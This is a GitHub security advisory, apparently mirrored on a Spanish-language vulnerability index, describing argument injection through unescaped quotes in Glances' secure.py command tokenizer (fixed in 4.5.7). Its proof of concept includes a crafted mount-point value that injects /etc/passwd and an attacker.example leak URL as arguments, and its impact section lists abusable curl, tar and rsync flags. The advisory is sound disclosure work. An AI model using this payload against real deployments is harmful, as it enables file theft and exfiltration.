GHSA-56XW-P9QM-R437
Argument Injection in On-Alert Action Commands via Unescaped Quote Characters in secure.py's Command Tokenizer
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-56XW-P9QM-R437 divulgada · CVSS 6.5 (GitHub) | |
| Remediación | Parche 4.5.7 | glances · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
`glances/secure.py`'s `__split_args()` tokenizes on-alert action command lines by treating `'` and `"` as argument-boundary delimiters with no concept of escaping. A Mustache-rendered stat value that is quoted in an action command template (the pattern documented in `docs/aoa/actions.rst` for values that can contain whitespace, e.g. `{{mnt_point}}`) can break out of its quote boundary if the value itself contains a literal quote character. An attacker who can influence a monitored stat value (mount point name, filesystem label, AMP result, process name/cmdline, etc.) can inject entirely new argv tokens into the process the action invokes. This is independent of the existing `_SHELL_OPERATORS` sanitizer in `glances/actions.py`, which only neutralizes `&&`, `|`, `>`, `>>`, and `&` — no shell operator is needed for this attack. It is also independent of `--disable-config-exec`, which only disables operator interpretation, not quote tokenization.
This is CWE-88 (Argument Injection), a distinct root cause from every prior advisory on this subsystem (CVE-2026-32608, CVE-2026-53925, CVE-2026-62982, GHSA-qcpp-8x79-hhp3, GHSA-3vwc-qwhc-3mj7), all of which addressed CWE-78 shell-operator/chaining injection. Those fixes do not touch quote handling.
Additionally, chevron's default ("escaped") `{{var}}` Mustache syntax only HTML-escapes `" < > &` (`chevron/renderer.py:_html_escape`) — it does not escape the single quote. So this is exploitable through the standard, documented Mustache syntax; the raw/triple-mustache form is not required.
Details
Affected file: `glances/secure.py`, function `__split_args()` (lines 48-55), reached via `glances/actions.py:GlancesActions.run()` → `secure_popen()` whenever a `<plugin>_action` / `<plugin>_action_repeat` is configured in `glances.conf`.
def __split_args(cmd):
tmp_split = [_ for _ in list(filter(None, re.split(r'(\s+)|(".*?"+?)|(\'.*?\'+?)', cmd))) if _ != ' ']
return [_[1:-1] if (_[0] == _[-1] == '"') or (_[0] == _[-1] == '\'') else _ for _ in tmp_split]Prerequisites:
- An on-alert action configured in `glances.conf` (e.g. `[fs] critical_action=...`) referencing a stat value known to be attacker-influenceable — the same threat model already accepted for CVE-2026-32608 (process names, container names, mount points).
- The action command quotes that Mustache field, which is the documented way to keep a multi-word value as a single argument (mount points routinely contain spaces).
PoC
Example `glances.conf`:
[fs]
critical=90
critical_action=/usr/local/bin/fs-alert.sh '{{mnt_point}}' {{percent}}Attacker-controlled input (e.g. label/path of a mounted device, bind mount, or FUSE mount):
mnt_point = /mnt/usb/x' --evil-flag /etc/passwd http://attacker.example/leak 'yDriven end-to-end through the real `glances.actions.GlancesActions`:
from glances.actions import GlancesActions
class Args:
time = 0
disable_config_exec = False
commands = ["python3 argv_logger.py '{{mnt_point}}' {{percent}}"]
mustache_dict = {
'mnt_point': "/mnt/usb/x' --evil-flag /etc/passwd http://attacker.example/leak 'y",
'percent': '92', 'critical': '90', 'warning': '80', 'careful': '70',
'time': '2026-08-26T00:00:00',
}
actions = GlancesActions(args=Args())
actions.run('fs_percent', 'critical', commands, repeat=False, mustache_dict=mustache_dict)Resulting argv delivered to the invoked process:
['argv_logger.py', '/mnt/usb/x', '--evil-flag', '/etc/passwd',
'http://attacker.example/leak', 'y', '92']No `&&`, `|`, `>`, `>>`, or `&` appears anywhere in the payload. The single quote in the stat value terminates the quoted Mustache field early and injects three new, fully attacker-controlled argv tokens.
Impact
If the action script/binary accepts flags that can be abused via injected arguments (e.g. `curl --upload-file`/`-o`/`-K`, `tar --checkpoint-action=exec=`, `rsync -e`, or any custom script whose parsing has side effects), this becomes a primitive for arbitrary file read/write, SSRF/data exfiltration, or command execution. Affects any Glances deployment with an on-alert action configured against an attacker-influenceable stat value.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypiglances |
Corregida | 4.5.7 | 0 d | 4.5.9 no afectada |
4.5.7Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/nicolargo/glances/security/advisories/GHSA-56xw-p9qm-r437Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
